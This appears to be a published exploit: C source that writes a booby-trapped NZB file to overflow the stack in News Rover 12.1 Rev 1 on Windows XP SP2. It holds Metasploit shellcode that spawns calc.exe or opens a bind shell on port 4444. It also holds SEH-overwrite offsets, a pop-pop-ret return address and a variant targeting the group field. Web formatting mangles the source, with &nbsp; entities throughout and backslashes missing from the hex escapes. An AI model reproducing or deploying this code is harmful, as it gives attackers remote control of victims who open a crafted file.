News Rover 12.1 Rev 1 Remote Stack Overflow Exploit

                                                /*********************************************************************************************
*                                                                                             *
*                    News Rover 12.1 Rev 1 Remote Stack Overflow exploit                      *
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Coded&nbsp;and&nbsp;discovered&nbsp;by&nbsp;Marsu&nbsp;<[email protected]>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Note:&nbsp;thx&nbsp;aux&nbsp;Bananas&nbsp;et&nbsp;a&nbsp;la&nbsp;KryptonIT.&nbsp;Bon&nbsp;courage&nbsp;aux&nbsp;inuITs&nbsp;:P&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*
*********************************************************************************************/

#include&nbsp;\"stdlib.h\"
#include&nbsp;\"stdio.h\"
#include&nbsp;\"string.h\"


/*&nbsp;win32_exec&nbsp;-&nbsp;&nbsp;EXITFUNC=seh&nbsp;CMD=calc.exe&nbsp;Size=164&nbsp;Encoder=PexFnstenvSub&nbsp;http://metasploit.com&nbsp;*/
/*&nbsp;BAD&nbsp;CHARS&nbsp;ARE&nbsp;0x00&nbsp;0x3c&nbsp;0x3d&nbsp;0x3e&nbsp;0x3f&nbsp;0x0a&nbsp;0x0d&nbsp;0x22&nbsp;0x25&nbsp;0x26&nbsp;0xA7&nbsp;0x8a.&nbsp;Maybe&nbsp;more...&nbsp;*/
char&nbsp;calcshellcode[]&nbsp;=
\"x2bxc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13xa4\"
\"xb2x82x70x83xebxfcxe2xf4x58x5axc6x70xa4xb2x09x35\"
\"x98x39xfex75xdcxb3x6dxfbxebxaax09x2fx84xb3x69x39\"
\"x2fx86x09x71x4ax83x42xe9x08x36x42x04xa3x73x48x7d\"
\"xa5x70x69x84x9fxe6xa6x74xd1x57x09x2fx80xb3x69x16\"
\"x2fxbexc9xfbxfbxaex83x9bx2fxaex09x71x4fx3bxdex54\"
\"xa0x71xb3xb0xc0x39xc2x40x21x72xfax7cx2fxf2x8exfb\"
\"xd4xaex2fxfbxccxbax69x79x2fx32x32x70xa4xb2x09x18\"
\"x98xedxb3x86xc4xe4x0bx88x27x72xf9x20xccx42x08x74\"
\"xfbxdax1ax8ex2exbcxd5x8fx43xd1xe3x1cxc7x9cxe7x08\"
\"xc1xb2x82x70\";
&nbsp;
/*&nbsp;win32_bind&nbsp;-&nbsp;&nbsp;EXITFUNC=seh&nbsp;LPORT=4444&nbsp;Size=344&nbsp;Encoder=PexFnstenvSub&nbsp;http://metasploit.com&nbsp;*/
char&nbsp;bindshellcode[]&nbsp;=
\"x31xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xf7\"
\"x82xf8x80x83xebxfcxe2xf4x0bxe8x13xcdx1fx7bx07x7f\"
\"x08xe2x73xecxd3xa6x73xc5xcbx09x84x85x8fx83x17x0b\"
\"xb8x9ax73xdfxd7x83x13xc9x7cxb6x73x81x19xb3x38x19\"
\"x5bx06x38xf4xf0x43x32x8dxf6x40x13x74xccxd6xdcxa8\"
\"x82x67x73xdfxd3x83x13xe6x7cx8exb3x0bxa8x9exf9x6b\"
\"xf4xaex73x09x9bxa6xe4xe1x34xb3x23xe4x7cxc1xc8x0b\"
\"xb7x8ex73xf0xebx2fx73xc0xffxdcx90x0exb9x8cx14xd0\"
\"x08x54x9exd3x91xeaxcbxb2x9fxf5x8bxb2xa8xd6x07x50\"
\"x9fx49x15x7cxccxd2x07x56xa8x0bx1dxe6x76x6fxf0x82\"
\"xa2xe8xfax7fx27xeax21x89x02x2fxafx7fx21xd1xabxd3\"
\"xa4xd1xbbxd3xb4xd1x07x50x91xeaxe9xdcx91xd1x71x61\"
\"x62xeax5cx9ax87x45xafx7fx21xe8xe8xd1xa2x7dx28xe8\"
\"x53x2fxd6x69xa0x7dx2exd3xa2x7dx28xe8x12xcbx7exc9\"
\"xa0x7dx2exd0xa3xd6xadx7fx27x11x90x67x8ex44x81xd7\"
\"x08x54xadx7fx27xe4x92xe4x91xeax9bxedx7ex67x92xd0\"
\"xaexabx34x09x10xe8xbcx09x15xb3x38x73x5dx7cxbaxad\"
\"x09xc0xd4x13x7axf8xc0x2bx5cx29x90xf2x09x31xeex7f\"
\"x82xc6x07x56xacxd5xaaxd1xa6xd3x92x81xa6xd3xadxd1\"
\"x08x52x90x2dx2ex87x36xd3x08x54x92x7fx08xb5x07x50\"
\"x7cxd5x04x03x33xe6x07x56xa5x7dx28xe8x07x08xfcxdf\"
\"xa4x7dx2ex7fx27x82xf8x80\";




char&nbsp;nzbheader[]=\"<?xml&nbsp;version=\"1.0\"&nbsp;encoding=\"iso-8859-1\"&nbsp;?>
\"
				&nbsp;\"<!DOCTYPE&nbsp;nzb&nbsp;PUBLIC&nbsp;\"-//newzBin//DTD&nbsp;NZB&nbsp;1.0//EN\"&nbsp;\"http://www.newzbin.com/DTD/nzb/nzb-1.0.dtd\">
\"
				&nbsp;\"<!--&nbsp;NZB&nbsp;Generated&nbsp;by&nbsp;MarsupilamiPowa&nbsp;-->
\"
				&nbsp;\"<nzb&nbsp;xmlns=\"http://www.google.com\">

\";


char&nbsp;nzbend[]=\"</segment>
\"
\"</segments>
\"
\"</file>
\"
\"</nzb>
\";

char&nbsp;defaultfilename[]=\"file.nzb\";

int&nbsp;main(int&nbsp;argc,&nbsp;char*&nbsp;argv[])&nbsp;{

FILE&nbsp;*file;
char&nbsp;*&nbsp;pad;
int&nbsp;type=0;
int&nbsp;mode=0;
char&nbsp;*filename;
char&nbsp;*myshell;

printf(\"[+]&nbsp;NZB&nbsp;exploit&nbsp;for&nbsp;News&nbsp;Rover
\");
printf(\"[+]&nbsp;Coded&nbsp;and&nbsp;discovered&nbsp;by&nbsp;Marsu&nbsp;<[email protected]>
\");
if&nbsp;(argc>3)	{
	type=atoi(argv[1]);
	filename=argv[3];
	mode=atoi(argv[2]);
	if&nbsp;(!mode)
		myshell=calcshellcode;
	else
		myshell=bindshellcode;
}
else&nbsp;{
	printf(\"[+]&nbsp;Usage:&nbsp;%s&nbsp;type&nbsp;mode&nbsp;file.nzb

\",argv[0]);
	printf(\"[+]&nbsp;type&nbsp;is&nbsp;...
\");
	printf(\"0:&nbsp;News&nbsp;Rover&nbsp;v12.1,&nbsp;&nbsp;Rev.&nbsp;1&nbsp;Subject&nbsp;stack&nbsp;overflow.&nbsp;Works&nbsp;on&nbsp;XP&nbsp;SP2&nbsp;FR
\");
	printf(\"1:&nbsp;News&nbsp;Rover&nbsp;v12.1,&nbsp;&nbsp;Rev.&nbsp;1&nbsp;Group&nbsp;stack&nbsp;overflow.&nbsp;Works&nbsp;on&nbsp;XP&nbsp;SP2&nbsp;FR

\");
	printf(\"[+]&nbsp;mode&nbsp;is&nbsp;
\");
	printf(\"0:&nbsp;Spawns&nbsp;calc.exe
\");
	printf(\"1:&nbsp;Binds&nbsp;to&nbsp;4444

\");
	printf(\"[+]&nbsp;Ex:&nbsp;%s&nbsp;0&nbsp;0&nbsp;file.nzb\",argv[0]);

	return&nbsp;0;
}

file=fopen(filename,\"wb\");

if&nbsp;(type==0)
{
	fprintf(file,nzbheader);
	fprintf(file,\"<file&nbsp;poster=\"Poster\"&nbsp;date=\"1170609233\"
subject=\"\");
	pad&nbsp;=&nbsp;(char*)malloc(sizeof(char)*3000+strlen(myshell));
	memset(pad,\'A\',3000);
	memcpy(pad+2022,\"xebx15x90x90\",4);&nbsp;&nbsp;//jmp&nbsp;short&nbsp;+15
	memcpy(pad+2026,\"x2ax02xfcx7f\",4);&nbsp;&nbsp;//pop&nbsp;pop&nbsp;ret&nbsp;in&nbsp;???&nbsp;defeats&nbsp;SP2&nbsp;SEH&nbsp;call&nbsp;protection.&nbsp;Have&nbsp;a&nbsp;look&nbsp;to&nbsp;your&nbsp;memory&nbsp;and&nbsp;change&nbsp;this&nbsp;address&nbsp;if&nbsp;it&nbsp;doesnt&nbsp;work.
	memset(pad+2030,0x90,15);				//nop&nbsp;padding
	memcpy(pad+2045,myshell,strlen(myshell));
	memset(pad+2045+strlen(myshell),0,1);
	memset(pad+3000,0,1);
	fprintf(file,pad);
	fprintf(file,\"\">
<groups><group>some&nbsp;group</group></groups>
<segments>
<segment&nbsp;bytes=\"30\"&nbsp;number=\"1\">some&nbsp;name\");
	fprintf(file,nzbend);
	fclose(file);
}
else&nbsp;if&nbsp;(type==1)
{
	fprintf(file,nzbheader);
	fprintf(file,\"<file&nbsp;poster=\"Poster\"&nbsp;date=\"1170609233\"&nbsp;subject=\"Some&nbsp;Subj\">
\");
	fprintf(file,\"<groups><group>alt.bdffs</group></groups>
<segments>
<segment&nbsp;bytes=\"30\"&nbsp;number=\"1\">no&nbsp;matter&nbsp;the&nbsp;name</segment>
</segments>
</file>\");
	fprintf(file,\"

<file&nbsp;poster=\"Poster\"&nbsp;date=\"1170609233\"&nbsp;subject=\"Some&nbsp;Subj\">
\");
	fprintf(file,\"<groups><group>\");
	
	pad&nbsp;=&nbsp;(char*)malloc(sizeof(char)*100);
	memset(pad,\'A\',100);
	memcpy(pad,\"x90xb8x33x33x33x33x2Dx13x27x33x33x8Bx04x04x40xFFxD0\",17);&nbsp;//We&nbsp;will&nbsp;use&nbsp;data&nbsp;stuck&nbsp;in&nbsp;Segment&nbsp;to&nbsp;exec&nbsp;our&nbsp;code&nbsp;because&nbsp;we&nbsp;dont&nbsp;have&nbsp;much&nbsp;place&nbsp;here
	memcpy(pad+94,\"x53xF1xD1x770\",5);&nbsp;//call&nbsp;ebx&nbsp;in&nbsp;USER32.dll
	fprintf(file,pad);
	fprintf(file,\"</group></groups>
<segments>
<segment&nbsp;bytes=\"30\"&nbsp;number=\"1\">\");
	pad=(char&nbsp;*)realloc(pad,sizeof(char)*3000);
	memset(pad,\'A\',3000);
	memcpy(pad+1500,myshell,strlen(myshell));
	memset(pad+3000,0,1);
	fprintf(file,pad);
	fprintf(file,nzbend);
	fclose(file);
}


printf(\"[+]&nbsp;File&nbsp;generated!&nbsp;Have&nbsp;fun
\");
return&nbsp;0;
}